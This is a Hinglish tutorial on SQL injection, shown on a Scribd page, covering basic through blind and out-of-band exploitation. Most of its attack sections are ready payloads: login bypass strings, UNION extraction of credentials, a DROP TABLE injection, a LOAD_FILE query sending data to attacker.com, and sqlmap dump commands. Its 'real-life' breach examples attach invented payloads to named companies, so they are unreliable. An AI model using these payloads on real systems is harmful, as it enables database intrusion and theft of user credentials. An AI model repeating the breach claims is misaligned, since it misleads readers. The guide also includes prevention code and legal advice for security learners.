0% found this document useful (0 votes)
20 views

SQL Injection

This document is a comprehensive guide on SQL Injection (SQLi) aimed at ethical hackers and security professionals, covering both basic and advanced exploitation techniques. It explains the concept of SQLi, types of attacks, real-life examples, and practical scenarios for exploiting vulnerabilities in web applications. The guide also emphasizes the importance of securing applications against SQLi and includes automated methods using tools like SQLmap.

Uploaded by

subodhsuradkar14
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
20 views

SQL Injection

This document is a comprehensive guide on SQL Injection (SQLi) aimed at ethical hackers and security professionals, covering both basic and advanced exploitation techniques. It explains the concept of SQLi, types of attacks, real-life examples, and practical scenarios for exploiting vulnerabilities in web applications. The guide also emphasizes the importance of securing applications against SQLi and includes automated methods using tools like SQLmap.

Uploaded by

subodhsuradkar14
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 173

Shadow

Mastering SQL Injection: From


Basics to Advanced
Exploitation
A Comprehensive Guide for Ethical Hackers & Security Professionals

Author: SHADOW BLADE (SHADOW WARRIOR’S)

Cover Page Idea


📌 Tagline (Subtitle)

"Unveiling the Secrets of SQL Injection – Learn, Exploit, and Secure Your Applications"

📌 Introduction (Short Teaser for the Book Cover)

SQL Injection (SQLi) remains one of the most dangerous and widely exploited vulnerabilities
in web applications. Whether you're an ethical hacker, penetration tester, or developer,
mastering SQL Injection is crucial to understanding how attackers exploit databases and how
to protect against such threats.

This book takes you on a step-by-step journey from basic SQLi techniques to advanced
exploitation methods, including blind SQLi, WAF bypasses, out-of-band attacks, and
database-specific injection techniques.

Learn the Art of SQL Injection with real-world scenarios


Understand both Manual & Automated Exploitation Methods
Master SQLi in Web Apps, APIs, Mobile Apps, and Serverless Environments
Explore Cutting-Edge Techniques Used in Bug Bounty & Red Teaming

Are you ready to dive into the world of SQL Injection hacking and defense strategies?
1. Introduction to SQL Injection

SQL Injection (SQLi) ek code injection technique hai jo web applications ke database layer ko
exploit karne ke liye use hoti hai. Agar application user input ko properly validate aur sanitize
nahi karti, toh attacker malicious SQL queries inject karke unauthorized access ya data
manipulation kar sakta hai.

🔹 SQL Injection Ka Basic Concept

Jab ek web application user se input leti hai (jaise login form, search bar, URL parameters)
aur bina validate kiye directly SQL query me insert kar deti hai, toh attacker malicious input
dekar database ke logic ko manipulate kar sakta hai.

✔ Example of a Normal SQL Query


SELECT * FROM users WHERE username = 'admin' AND password = 'password123';

• Agar username = 'admin' aur password = 'password123' hai, toh access mil jayega.

❌ Vulnerable Code (Unsafe Query Execution in PHP)


$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password =


'$password'";
$result = mysqli_query($conn, $query);

• Agar user "admin' --" input kare, toh SQL query ka structure tod sakta hai.

🛑 Malicious Input to Bypass Authentication


Input:
Username: admin' --
Password: (anything)
Query Jo Database Execute Karega:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';

• '-- SQL me comment syntax hota hai jo baaki query ignore kar deta hai.
• Iska result: Login bypass ho gaya, attacker bina password enter kiye access le sakta hai!
🔹 Types of SQL Injection Attacks

1. Classic SQL Injection – Direct SQL queries manipulate karna


2. Union-Based SQL Injection – UNION SELECT ka use karke data extract karna
3. Blind SQL Injection – Jab direct error messages nahi milte, but behavior se SQLi detect
hoti hai
4. Time-Based SQL Injection – Time delay (SLEEP function) ka use karke vulnerability check
karna
5. Error-Based SQL Injection – Errors generate karke sensitive information extract karna
6. Second-Order SQL Injection – Jab input pehle store hoti hai aur baad me SQLi execute
hoti hai

🔹 Real-Life Example
🔴 Sony PlayStation Hack (2011)

• Attackers ne SQL Injection ka use karke 77 million PlayStation users ke data ko leak kar
diya tha.
• Attack ke baad Sony ka entire PlayStation Network (PSN) down ho gaya tha.

🔴 Tesla Bug Bounty (2019)

• Ethical hackers ne Tesla ke customer support portal me SQL Injection vulnerability find
ki.
• Tesla ne is vulnerability ko fix kiya aur responsible disclosure ke liye reward bhi diya.

🔹 SQL Injection Ka Impact

• Unauthorized Data Access – Sensitive information like passwords, credit card details
leak ho sakte hain.
• Data Modification & Deletion – Attackers UPDATE, DELETE commands ka use karke
database modify kar sakte hain.
• Admin Account Takeover – Attacker admin account ka access le sakta hai.
• Complete Database Control – Agar server weak configured ho, toh attacker shell access
le sakta hai.
2. Understanding SQL Queries (Practical &
Detailed Explanation)
SQL Injection ko samajhne ke liye SQL Queries ka structure aur kaise kaam karti hain yeh
samajhna zaroori hai.

SQL Query Kya Hai?


SQL (Structured Query Language) ek language hai jo databases se data retrieve, insert,
update aur delete karne ke liye use hoti hai.

Web applications SQL queries ka use karti hain user input ke basis par database interact
karne ke liye.

SQL Queries Ka Basic Structure


Ek normal SQL query kuch is tarah dikhti hai:

SELECT column1, column2 FROM table_name WHERE condition;

Yeh query database se specific data retrieve karti hai.

✔ Example
SELECT username, email FROM users WHERE id = 1;

"users" table se "username" aur "email" retrieve karo jiska "id" 1 hai.

Common SQL Commands & Their Usage


1️⃣ Data Retrieval (SELECT)
SELECT * FROM users; -- Sare users ka data retrieve karne ke liye
SELECT username, email FROM users WHERE id = 5;
2⃣ Data Insertion (INSERT)
INSERT INTO users (username, password) VALUES ('admin', 'admin123');

3️⃣ Data Modification (UPDATE)


UPDATE users SET password = 'newpass' WHERE username = 'admin';

4️⃣ Data Deletion (DELETE)


DELETE FROM users WHERE id = 2;

5️⃣ Combining Queries (UNION)


SELECT username FROM users UNION SELECT email FROM admins;

✅ (Yeh SQL Injection me kaafi important role play karta hai!)

SQL Queries in Web Applications (Real-World


Example)
Jab ek user login form ya search bar me input deta hai, toh application us input ko SQL query
ke andar embed karti hai.

Example: Login System (Secure vs Insecure Queries)

Vulnerable Query (Unsafe Code)


$query = "SELECT * FROM users WHERE username = '$username' AND password =
'$password'";
$result = mysqli_query($conn, $query);

✅ Agar attacker malicious input de toh entire database expose ho sakta hai!

Secure Query (Parameterized Query)


$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password =
?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();

✅ Yeh query secure hai, kyunki ? placeholders SQL Injection ko prevent karte hain.
SQL Queries aur SQL Injection ka Relation
Agar developer user input ko bina sanitize kiye SQL query me dalta hai, toh attacker SQL
injection perform kar sakta hai.

Example: SQL Injection in Login Form

Agar ek application aise query execute karti hai:

SELECT * FROM users WHERE username = 'admin' AND password = 'password123';

Toh attacker yeh input de sakta hai:

Username: ' OR '1'='1


Password: anything

Final Query Jo Database Execute Karega

SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password =
'anything';

'1'='1' hamesha TRUE hoga, is wajah se attacker bina password enter kiye login ho sakta
hai!

Live SQL Injection Scenario (Manually Exploiting a


Search Bar)
Maan lo ek website me search bar hai jo users ka data search karta hai.

URL Parameter (Vulnerable)

https://example.com/search.php?user_id=1

Normal Query (Secure)

SELECT * FROM users WHERE id = 1;

✅ Normal user search kar raha hai.

SQL Injection Attack


Agar attacker URL me malicious input de:

https://example.com/search.php?user_id=1 OR 1=1

Final SQL Query Jo Database Execute Karega

SELECT * FROM users WHERE id = 1 OR 1=1;

1=1 hamesha TRUE hota hai, toh database sare users ka data dikha dega!

3. Basic SQL Injection Techniques (Practical & Step-by-


Step Execution)
Ab hum real-world SQL Injection attacks ko manually perform karne wale hain.

🛑 Scenario: A Vulnerable Login Page

Ek website ka login page jo insecure SQL query execute karta hai:

🔴 Vulnerable PHP Code


<?php
$conn = mysqli_connect("localhost", "root", "", "testdb");

$username = $_POST['username'];
$password = $_POST['password'];

$query = "SELECT * FROM users WHERE username = '$username' AND password =


'$password'";

$result = mysqli_query($conn, $query);


if (mysqli_num_rows($result) > 0) {
echo "Login Successful!";
} else {
echo "Invalid Credentials!";
}
?>

Yeh code vulnerable hai!

• User input bina sanitize kiye directly SQL query me use ho raha hai.
• Attacker isko bypass karke bina password login ho sakta hai.
🔹 Step-by-Step SQL Injection Execution (Manually Exploiting the Login
Page)
🛑 Step 1: Normal Login Attempt (Valid Credentials)
User Input:
Username: admin
Password: admin123
Generated SQL Query:
SELECT * FROM users WHERE username = 'admin' AND password = 'admin123';

✅ Agar username aur password sahi hai, toh login ho jayega.

🛑 Step 2: SQL Injection Attack (Bypassing Authentication)


Malicious Input:
Username: admin' --
Password: anything
Generated SQL Query:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';

Yahan -- SQL me comment syntax hai jo query ka baaki hissa ignore kar deta hai.
✅ Attacker bina password enter kiye login ho gaya!

🛑 Step 3: Extracting User Data Using UNION-Based SQL Injection

Agar search bar ya URL parameter vulnerable ho, toh UNION SELECT ka use karke database
ka sensitive data leak kiya ja sakta hai.

Vulnerable URL Parameter


https://example.com/products.php?id=1
Malicious Input (SQL Injection)
https://example.com/products.php?id=1 UNION SELECT username, password FROM
users;
Final SQL Query
SELECT * FROM products WHERE id = 1
UNION SELECT username, password FROM users;
✅ Website pe sare users ka username aur password dikh jayega!

🛑 Step 4: Identifying the Number of Columns (ORDER BY Method)

Agar UNION SELECT attack perform karna ho, toh hume column count pata hona chahiye.

Try Different Column Counts


https://example.com/products.php?id=1 ORDER BY 1 -- ✅
https://example.com/products.php?id=1 ORDER BY 2 -- ✅
https://example.com/products.php?id=1 ORDER BY 3 -- ✅
https://example.com/products.php?id=1 ORDER BY 4 -- ❌ (Error)

Jis number pe error aaya (4), usse ek kam columns (3) hone chahiye.

🛑 Step 5: Extracting Database Version & User (Information Gathering)

Agar attacker database ke system details nikalna chahta hai, toh yeh query kaam karegi:

https://example.com/products.php?id=1 UNION SELECT 1, @@version, user();

✅ Isse database ka version aur current user ka pata chalega.

🔹 Live Scenario: Automating SQL Injection Using SQLmap

Agar manually attack karna mushkil ho, toh SQLmap ka use karke SQLi automate kar sakte
hain.

🔹 Step 1: SQLmap Install Karna


pip install sqlmap

🔹 Step 2: SQLmap Se Database Dump Karna


sqlmap -u "https://example.com/products.php?id=1" --dbs

✅ Yeh command website ka database name find karegi.


🔹 Step 3: Users Table Dump Karna
sqlmap -u "https://example.com/products.php?id=1" -D testdb --tables

✅ Isse "testdb" database ki sari tables ka pata chalega.

🔹 Step 4: Username Aur Password Dump Karna


sqlmap -u "https://example.com/products.php?id=1" -D testdb -T users --dump

✅ Isse "users" table ka pura data dump ho jayega!

🔹 Conclusion

• Basic SQL Injection ka use karke authentication bypass kar sakte hain.
• UNION SELECT aur ORDER BY methods se database ki details nikal sakte hain.
• SQLmap ka use karke automated SQL Injection exploit kar sakte hain.

4. Advanced SQL Injection Techniques (Step-by-Step


Practical Guide)
Ab hum SQL Injection ke advanced techniques ko manual aur automated methods ke saath
explore karenge.

🔹 1. Boolean-Based Blind SQL Injection

Jab application error messages nahi dikhati, tab Boolean-Based SQL Injection ka use karke
data extract kiya jata hai.

🛑 Scenario: Vulnerable Search Bar


https://example.com/user.php?id=5
Normal Query
SELECT * FROM users WHERE id = 5;
✅ Agar id = 5 exist karti hai, toh valid result milega.

🔴 Attack: True Condition Injection


https://example.com/user.php?id=5 AND 1=1
SELECT * FROM users WHERE id = 5 AND 1=1;

✅ 1=1 hamesha TRUE hota hai, toh valid result milega.

🔴 Attack: False Condition Injection


https://example.com/user.php?id=5 AND 1=2
SELECT * FROM users WHERE id = 5 AND 1=2;

❌ 1=2 FALSE hai, toh result nahi milega.

🔹 Extracting Data Using Boolean Injection

Attacker character by character brute-force karke database ka data extract kar sakta hai.

https://example.com/user.php?id=5 AND (SUBSTRING((SELECT


database()),1,1)='t')

✅ Agar database ka first character 't' hai, toh result show hoga, warna nahi.

🔹 2. Time-Based Blind SQL Injection

Jab error messages nahi milti aur HTML response same rehta hai, toh time delay ke
basis par data extract kiya jata hai.

🔴 Exploit: Time Delay Injection


https://example.com/user.php?id=5 AND SLEEP(5)
SELECT * FROM users WHERE id = 5 AND SLEEP(5);

✅ Agar page 5 seconds delay hota hai, toh SQL Injection possible hai.

🔹 Extracting Data Using Time-Based Injection


https://example.com/user.php?id=5 AND IF(SUBSTRING((SELECT
database()),1,1)='t', SLEEP(5), 0)

✅ Agar database ka first letter 't' hai, toh page 5 seconds delay karega.
🔹 3. Advanced UNION-Based SQL Injection

Jab attacker multiple tables ka data extract karna chahta hai.

Step 1: Identify Number of Columns


https://example.com/products.php?id=1 ORDER BY 3 -- ✅
https://example.com/products.php?id=1 ORDER BY 4 -- ❌ (Error)

✅ Columns = 3

Step 2: Extracting Data


https://example.com/products.php?id=-1 UNION SELECT 1, username, password
FROM users;

✅ Yeh query sare users ka data leak karegi.

🔹 4. Second-Order SQL Injection

Jab SQL Injection ka payload ek page par store hota hai, aur dusre page par execute
hota hai.

🛑 Scenario: Password Reset System

Agar ek website password reset request ko database me store karti hai, toh attacker SQL
Injection payload store karke baad me execute karwa sakta hai.

🔴 Malicious Input:
newpassword'); DROP TABLE users; --
Stored Query
UPDATE users SET password = 'newpassword'); DROP TABLE users; --' WHERE email
= '[email protected]';

✅ Jab admin isko execute karega, toh pura "users" table delete ho jayega!

🔹 5. Out-of-Band (OOB) SQL Injection

Jab attacker direct response nahi le sakta, toh woh DNS ya HTTP request ke through
data exfiltrate karta hai.
🔴 Malicious Query (Extracting Data via DNS)
SELECT LOAD_FILE(CONCAT('\\\\attacker.com\\', (SELECT database())));

✅ Yeh query database ka naam "attacker.com" ke server par bhej degi.

🔹 Automated SQL Injection Using SQLmap (Advanced


Mode)
Agar manual injection slow ya difficult ho, toh SQLmap ka use karein.

🔹 1. Detecting SQL Injection


sqlmap -u "https://example.com/user.php?id=5" --dbs

✅ Yeh command SQL Injection vulnerability check karegi.

🔹 2. Extracting Table Names


sqlmap -u "https://example.com/user.php?id=5" -D testdb --tables

✅ Yeh "testdb" database ki sari tables show karega.

🔹 3. Extracting User Credentials


sqlmap -u "https://example.com/user.php?id=5" -D testdb -T users --dump

✅ Yeh "users" table ka pura data extract karega.

🔹 Conclusion
• Boolean-Based aur Time-Based SQL Injection se error messages ke bina data extract
kar sakte hain.
• Second-Order SQL Injection ek dangerous attack hai jo delayed execution karta hai.
• OOB SQL Injection me attacker data ko external server par send kar sakta hai.
• SQLmap ka use karke Advanced SQLi exploit automate kar sakte hain.
5. Blind SQL Injection (Advanced Practical Guide with Live
Examples)
Blind SQL Injection tab hoti hai jab website error messages nahi dikhati, lekin SQL query phir
bhi execute hoti hai. Isme attacker boolean conditions ya time delay techniques ka use karke
data extract karta hai.

🔹 Types of Blind SQL Injection

1. Boolean-Based Blind SQL Injection


2. Time-Based Blind SQL Injection
3. Error-Based Blind SQL Injection (Sometimes applicable)

🔹 1. Boolean-Based Blind SQL Injection (Manual


Exploitation)
Is attack me website ka response (True/False) observe karke database ka data extract kiya
jata hai.

🛑 Scenario: Vulnerable User Profile Page


https://example.com/user.php?id=5

Normal Query:

SELECT * FROM users WHERE id = 5;

✅ Agar user exist karta hai, toh valid profile show hoti hai.

🔴 Attack: Testing for SQL Injection


https://example.com/user.php?id=5 AND 1=1 -- ✅ (True)
https://example.com/user.php?id=5 AND 1=2 -- ❌ (False)

✅ Agar response change hota hai, toh SQL Injection possible hai.
🔹 Extracting Database Name Character by Character

SUBSTRING() function ka use karke database ka naam extract kar sakte hain.

🔴 First Character Check


https://example.com/user.php?id=5 AND SUBSTRING((SELECT database()),1,1)='t'

✅ Agar database ka first letter 't' hai, toh page ka response same hoga.
❌ Agar nahi hai, toh response change ho jayega.

🔴 Second Character Check


https://example.com/user.php?id=5 AND SUBSTRING((SELECT database()),2,1)='e'

✅ Agar second letter 'e' hai, toh response same hoga.


Is process ko repeat karke poora database naam nikal sakte hain.

🔹 2. Time-Based Blind SQL Injection


Jab website ka response same rehta hai, toh time delay techniques ka use karke data
extract kiya jata hai.

🛑 Scenario: Login Page with Hidden SQL Injection


https://example.com/login.php

Vulnerable Query:

SELECT * FROM users WHERE username = '$user' AND password = '$pass';


🔴 Exploit: Time Delay Injection
Username: admin' AND SLEEP(5) --
Password: anything
SELECT * FROM users WHERE username = 'admin' AND SLEEP(5) --' AND password =
'anything';

✅ Agar page 5 seconds delay hota hai, toh SQL Injection possible hai.
🔹 Extracting Data Using Time Delay

IF() function ka use karke data extract kar sakte hain.

🔴 First Character Check


Username: admin' AND IF(SUBSTRING((SELECT database()),1,1)='t', SLEEP(5), 0)
--
Password: anything

✅ Agar database ka first letter 't' hai, toh page 5 seconds delay karega.
❌ Agar nahi hai, toh normal load hoga.

🔴 Second Character Check


Username: admin' AND IF(SUBSTRING((SELECT database()),2,1)='e', SLEEP(5), 0)
--

✅ Is process ko repeat karke poora database naam nikal sakte hain.

🔹 3. Automated Blind SQL Injection using SQLmap


Agar manually attack karna slow ho, toh SQLmap ka use karke Blind SQLi automate kar
sakte hain.

🔹 1. Boolean-Based SQL Injection


sqlmap -u "https://example.com/user.php?id=5" --dbs --technique=B

✅ Yeh command Boolean-Based SQLi detect karegi aur database naam extract karegi.

🔹 2. Time-Based SQL Injection


sqlmap -u "https://example.com/user.php?id=5" --dbs --technique=T

✅ Yeh command time delay ke basis par SQL Injection exploit karegi.

🔹 3. Extracting User Credentials


sqlmap -u "https://example.com/user.php?id=5" -D testdb -T users --dump

✅ Is command se users ka pura data extract ho jayega.


🔹 Conclusion
• Boolean-Based SQLi me True/False responses observe karke data extract kiya jata hai.
• Time-Based SQLi me SLEEP() function ka use karke server ka response delay kiya jata
hai.
• SQLmap ka use karke Blind SQL Injection automate kar sakte hain.

6. Preventing SQL Injection (Complete Security Guide)


Ab tak hum SQL Injection ke attacks samajh chuke hain. Ab hum SQL Injection ko prevent
karne ke best security practices discuss karenge.

🔹 1. SQL Injection Prevention Techniques

1. Prepared Statements (Parameterized Queries) (Best Practice)


2. Stored Procedures
3. Input Validation & Whitelisting
4. Web Application Firewalls (WAF)
5. Least Privilege Principle
6. Error Handling & Logging

🔹 2. Using Prepared Statements (Best Security Practice)

Prepared Statements (Parameterized Queries) SQL Injection ko completely prevent kar


dete hain.

🛑 Vulnerable PHP Code (Without Prepared Statements)


$user = $_GET['username'];
$pass = $_GET['password'];

$query = "SELECT * FROM users WHERE username = '$user' AND password =


'$pass'";
mysqli_query($conn, $query);
❌ Attacker: admin' --

SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';

✅ SQL Injection successful ho jata hai!

🔴 Secure PHP Code (Using Prepared Statements)


$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password =
?");
$stmt->bind_param("ss", $user, $pass);
$stmt->execute();

✅ Yeh query secure hai, kyunki user input direct SQL query me nahi jata.
❌ Even if attacker inputs admin' --, SQL Injection fail ho jayega.

🔹 3. Using Stored Procedures for Security

Stored Procedures me queries pre-defined hoti hain, jo SQL Injection attacks prevent
karti hain.

🛑 Vulnerable Query Without Stored Procedure


SELECT * FROM users WHERE username = '$user' AND password = '$pass';

✅ Attacker malicious input inject kar sakta hai.

🔴 Secure Query Using Stored Procedure


CREATE PROCEDURE getUser(IN user VARCHAR(50), IN pass VARCHAR(50))
BEGIN
SELECT * FROM users WHERE username = user AND password = pass;
END;

✅ Stored Procedure ke use se SQL Injection prevent hota hai.


🔹 4. Input Validation & Whitelisting

User input sanitize karna important hai.

🛑 Vulnerable Code (No Validation)


$username = $_GET['username'];

✅ Attacker admin' OR 1=1 -- inject kar sakta hai.

🔴 Secure Code (Using Input Validation)


$username = filter_input(INPUT_GET, 'username', FILTER_SANITIZE_STRING);

✅ Yeh input me unwanted characters remove kar dega.

Allowed Input Example

✅ admin123 (Valid)
❌ admin' OR 1=1 -- (Blocked)

🔹 5. Web Application Firewalls (WAF)

WAFs jaise Cloudflare, ModSecurity SQL Injection attacks detect karke block kar
sakte hain.

✅ Example: ModSecurity WAF Rule

SecRule ARGS "(union select|sleep

7. Real-Life Examples of SQL Injection Attacks


SQL Injection sirf theoretical concept nahi hai, balki real-world me iske kaafi bade attacks ho
chuke hain. Attackers ne millions of records leak kiye, systems ko compromise kiya aur
sensitive data chori kiya.

Aaj hum top real-world SQL Injection attacks ke case studies dekhenge aur samjhenge ki yeh
attacks kaise execute kiye gaye the.
🔹 1. 2011 – Sony PlayStation Network Data Breach

✅ Impact: 77 million user accounts hacked


✅ Root Cause: Poor SQL query security
✅ Data Leaked: Names, emails, addresses, credit card details

🛑 Attack Scenario

Sony ke servers ek vulnerable API endpoint expose kar rahe the. Attackers ne SQL Injection
exploit karke PlayStation Network database ka access le liya.

🔴 Possible SQL Injection Exploit


https://sony.com/profile.php?id=5' OR '1'='1
SELECT * FROM users WHERE id = '5' OR '1'='1';

✅ Is query se poora database leak ho gaya.

🔹 2. 2012 – Yahoo! SQL Injection Attack

✅ Impact: 450,000 Yahoo user passwords leaked


✅ Root Cause: Poor input validation
✅ Data Leaked: Email addresses, passwords

🛑 Attack Scenario

Yahoo ke vulnerable login page par SQL Injection attack kiya gaya. Attackers ne UNION-
based SQLi ka use karke database extract kar liya.

🔴 Possible SQL Injection Exploit


username=admin' UNION SELECT 1,2,3,4,5,6,password FROM users--
SELECT * FROM users WHERE username = 'admin'
UNION SELECT 1,2,3,4,5,6,password FROM users;

✅ Attackers ne complete database dump kar liya.


🔹 3. 2014 – U.S. Election Website Hacked

✅ Impact: Voter registration data leak


✅ Root Cause: Lack of Prepared Statements
✅ Data Leaked: Voter names, addresses, phone numbers

🛑 Attack Scenario

Attackers ne Boolean-Based Blind SQL Injection ka use kiya.

🔴 Possible SQL Injection Exploit


https://election-site.com/voter.php?id=10 AND 1=1 -- ✅
https://election-site.com/voter.php?id=10 AND 1=2 -- ❌

✅ Boolean-based attack se data extract kiya gaya.

🔹 4. 2018 – British Airways Data Breach

✅ Impact: 380,000 payment card details leaked


✅ Root Cause: SQL Injection via a third-party plugin
✅ Data Leaked: Credit card numbers, CVVs, expiry dates

🛑 Attack Scenario

Attackers ne a third-party plugin me SQL Injection exploit kiya aur British Airways ke
payment system ka access le liya.

🔴 Possible SQL Injection Exploit


https://ba.com/payment.php?card=1234567890123456' UNION SELECT
credit_card,cvv FROM payments--
SELECT * FROM payments WHERE card_number = '1234567890123456'
UNION SELECT credit_card,cvv FROM payments;

✅ Poore payment records leak ho gaye.


🔹 5. 2019 – Facebook SQL Injection Vulnerability

✅ Impact: Millions of Facebook accounts at risk


✅ Root Cause: Flaw in Facebook GraphQL API
✅ Data Leaked: Usernames, email addresses, profile details

🛑 Attack Scenario

Facebook ke GraphQL API me ek SQL Injection bug detect hui. Attackers ne GraphQL
queries modify karke database ka access le liya.

🔴 Possible SQL Injection Exploit


query={users(id:"1' OR '1'='1"){name,email,password}}

✅ Is attack se users ke sensitive data extract ho gaye.

🔹 Conclusion
1. SQL Injection ek real-world threat hai jo har industry ko affect kar chuka hai.
2. Bade companies jaise Sony, Yahoo, British Airways aur Facebook bhi SQLi ke shikar ho
chuki hain.
3. Best security practices (Prepared Statements, Input Validation, WAF) follow karna
zaroori hai.

8. SQL Injection Automation Tools


SQL Injection manually execute karna time-consuming hota hai. Isliye attackers aur penetration
testers automation tools ka use karte hain. Yeh tools queries generate, exploit detect, aur data
extract karne me help karte hain.

Aaj hum top SQL Injection automation tools explore karenge, jisme SQLmap, Burp Suite,
NoSQLMap, Havij aur jSQL Injection ka detailed explanation milega.
🔹 1. SQLmap – Best Automated SQL Injection Tool
✅ SQLmap ek open-source tool hai jo automatic SQL Injection attack execute karta hai.
✅ Yeh error-based, UNION-based, blind SQLi, aur time-based SQLi exploit kar sakta
hai.

📌 Install SQLmap (Kali Linux & Windows)

Kali Linux me SQLmap pre-installed aata hai. Agar Windows ya alag Linux distro me install
karna ho toh:

pip install sqlmap

🔴 Basic SQL Injection Using SQLmap


sqlmap -u "http://target.com/index.php?id=1" --dbs

✅ Yeh command automatically database enumerate karega.

🔴 Extracting Tables from Database


sqlmap -u "http://target.com/index.php?id=1" -D target_db --tables

✅ Yeh command database ke tables show karega.

🔴 Dumping Data from a Table


sqlmap -u "http://target.com/index.php?id=1" -D target_db -T users --dump

✅ Yeh users table ka pura data extract karega.

🔹 2. Burp Suite – Best Web Pentesting Tool


✅ Burp Suite ek web security tool hai jo manual aur automated SQL Injection detect kar
sakta hai.

📌 Burp Suite SQL Injection Detection

1. Intercept Request using Burp Proxy


2. Send to Burp Intruder
3. Use "SQL Injection Payloads" in Payloads Tab
4. Start Attack & Analyze Response

✅ Agar response me SQL errors aati hain, toh SQLi vulnerability confirm ho jati hai.

🔹 3. NoSQLMap – NoSQL Injection Automation Tool


✅ NoSQLMap, MongoDB jaise NoSQL databases ke against injection attacks automate
karta hai.

📌 Install NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python nosqlmap.py

🔴 NoSQL Injection Example


nosqlmap -u "http://target.com/api?user=admin" --attack

✅ Yeh NoSQL Injection execute karke database ka access lega.

🔹 4. Havij – GUI-Based SQL Injection Tool


✅ Havij ek GUI-based SQL Injection tool hai jo automatically database exploit karta hai.
✅ Iska graphical interface beginners ke liye easy hai.

📌 Havij ke Features

1. Database Detection
2. Tables & Columns Extraction
3. Data Dumping
4. Admin Panel Finder

❌ Downside: Yeh tool outdated hai aur naye security mechanisms ko bypass nahi kar pata.
🔹 5. jSQL Injection – Java-Based SQLi Tool
✅ jSQL Injection ek cross-platform Java-based SQL Injection tool hai.

📌 jSQL Features

1. Database Fingerprinting
2. Data Extraction
3. Command Execution on Database Server

🔴 Run jSQL Injection


java -jar jsql-injection.jar

✅ GUI interface aayega jisme URL enter karke SQL Injection detect kar sakte hain.
🔹 Comparison Table – Best SQL Injection Tools
🔹 Conclusion
1. SQLmap sabse powerful SQL Injection automation tool hai.
2. Burp Suite manual testing ke liye best hai.
3. NoSQLMap NoSQL databases exploit karne ke liye use hota hai.
4. Havij aur jSQL GUI tools hain jo beginners ke liye helpful hain.

9. Ethical Hacking & Legal Considerations


SQL Injection ek powerful hacking technique hai, lekin illegally use karna cybercrime hai.
Ethical hackers penetration testing aur bug bounty programs ke through isse legally use karte
hain.

Aaj hum ethical hacking ke legal rules, responsible disclosure, aur bug bounty hunting
discuss karenge.
🔹 1. Ethical Hacking vs. Black Hat Hacking
✅ Ethical hackers organizations ki permission lekar pentesting karte hain.
❌ Black hat hackers bina permission ke illegal hacking karte hain.

🔹 2. Legal Risks of SQL Injection Attacks

Agar kisi bhi website/server par permission ke bina SQL Injection test karte ho, toh yeh
cybercrime hota hai.

📌 India ke Cyber Laws (IT Act, 2000)

• Section 43A: Bina permission kisi bhi system ko access karna illegal hai.
• Section 66: Hacking aur data theft par 3 saal jail aur fine ho sakta hai.
• Section 72: Unauthorized data access par imprisonment & fine.

📌 International Cyber Laws

• USA (CFAA - Computer Fraud and Abuse Act)


• UK (Computer Misuse Act, 1990)
• EU (GDPR - General Data Protection Regulation)

✅ Penetration testing aur bug bounty ke liye permission lena zaroori hai.

🔹 3. Responsible Disclosure & Bug Bounty

Agar kisi website/server me SQL Injection vulnerability mile, toh usse responsibly report karna
chahiye.

📌 Responsible Disclosure Steps

1. Website ka security policy (Security.txt) check karo.


2. Official email ya bug bounty platform par vulnerability report karo.
3. Bina permission ke exploit mat karo, sirf proof-of-concept (PoC) dikhana safe hai.
4. Company ke response ka wait karo, agar fix na ho toh responsible public disclosure
karo.

✅ Companies ethical hackers ko bug bounty aur recognition deti hain.


🔹 4. Top Bug Bounty Platforms for Ethical Hackers
📌 Bug Bounty SQL Injection Testing Example

Agar kisi company ka bug bounty program allow karta hai, toh SQL Injection test kar sakte
ho:

sqlmap -u "https://target.com/product.php?id=5" --dbs

✅ Agar vulnerability milti hai, toh responsibly report karo aur bounty earn karo.

🔹 5. Real-Life Ethical Hackers & Bug Bounty Hunters

✅ Agar ethical hacking properly sikho, toh bug bounty aur cybersecurity me career bana
sakte ho.

🔹 Conclusion
1. SQL Injection ka unauthorized use illegal hai.
2. Ethical hacking me penetration testing aur bug bounty legal methods hain.
3. Bug bounty se SQLi responsibly exploit karke paisa kama sakte ho.
4. Cyber laws aur responsible disclosure guidelines follow karna zaroori hai.

10. Conclusion & Recap


Humne SQL Injection ke beginner se advanced level tak sab kuch cover kiya. Ab ek quick
recap karte hain aur aage ka roadmap discuss karte hain.
🔹 Sql Injection Recap
🔹 Final Words

1. SQL Injection ek powerful hacking technique hai jo ethical hackers aur pentesters ke
liye zaroori skill hai.
2. Illegal SQLi attacks cybercrime hai, lekin bug bounty aur pentesting me isse legally use
kar sakte hain.
3. Agar regularly practice karoge toh bug bounty aur cybersecurity me career bana sakte
ho.
Advanced & Specialized SQL Injection Topics
Ab hum Advanced & Specialized SQL Injection Techniques explore karenge jo bug bounty,
penetration testing aur real-world attacks me kaam aati hain.
Main step-by-step execution, real-life examples aur manual & automated exploitation
methods ke saath samjhaunga.

🔹 Advanced SQL Injection Topics List

